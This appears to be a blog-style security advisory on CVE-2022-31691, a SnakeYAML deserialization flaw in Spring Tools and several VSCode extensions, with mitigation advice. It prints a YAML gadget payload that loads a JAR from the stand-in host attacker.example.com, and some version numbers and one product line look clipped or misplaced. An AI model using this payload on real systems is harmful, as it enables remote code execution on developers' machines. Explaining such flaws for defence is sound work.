In this post, we will be discussing the details of a critical security vulnerability identified as CVE-2022-31691. This vulnerability affects various development tools such as Spring Tools 4 for Eclipse, version 4.16. and below, and multiple VSCode extensions like Spring Boot Tools, Concourse CI Pipeline Editor, Bosh Editor, and Cloudfoundry Manifest YML Support, version 1.39. and below. The primary cause of this vulnerability is the use of the Snakeyaml library for YAML editing support.

The Snakeyaml library allows for some specialized syntax in YAML files, which under specific circumstances can lead to dangerous remote code execution attacks. In this post, we will go through the details of this vulnerability, including its exploitability and potential impact on affected tools.

Exploiting CVE-2022-31691

An attacker can craft a malicious YAML file with embedded code that takes advantage of the Snakeyaml library to trigger remote code execution. When a developer opens this YAML file using any of the affected tools, the attacker's code is executed.

Here's a sample code snippet showing how this exploitation can be achieved

!!javax.script.ScriptEngineManager [
  !!java.net.URLClassLoader [[
    !!java.net.URL ["http://attacker.example.com/malicious.jar";]
  ]]
]

In this code snippet, we have a YAML file with an embedded Java object javax.script.ScriptEngineManager that is being instantiated with a malicious JAR file fetched from http://attacker.example.com/malicious.jar. When a developer opens this file with affected tools, the malicious code present in malicious.jar would be executed.

Original References

This vulnerability was originally discovered and reported by security researchers. Following are the links to the references where you can find more information about this specific vulnerability:

1. CVE-2022-31691 - NVD (National Vulnerability Database)
2. CVE-2022-31691 - GitHub Security Advisory

Cloudfoundry Manifest YML Support VSCode Extension - version 1.39. and below

To mitigate this vulnerability, users must update their tools to the latest available versions, specifically those that have been patched to address this issue. If you are using any of these tools, it is strongly recommended to check for updates and apply them as soon as possible. Additionally, exercise caution when opening YAML files from untrusted sources.

In conclusion, CVE-2022-31691 is a severe vulnerability that affects several widely-used development tools and extensions due to their reliance on the Snakeyaml library. By understanding the nature of this vulnerability, updating tools, and being cautious when working with YAML files from unknown sources, developers can protect themselves from potential remote code execution attacks.

Timeline

Published on: 11/04/2022 19:15:00 UTC
Last modified on: 11/14/2022 15:19:00 UTC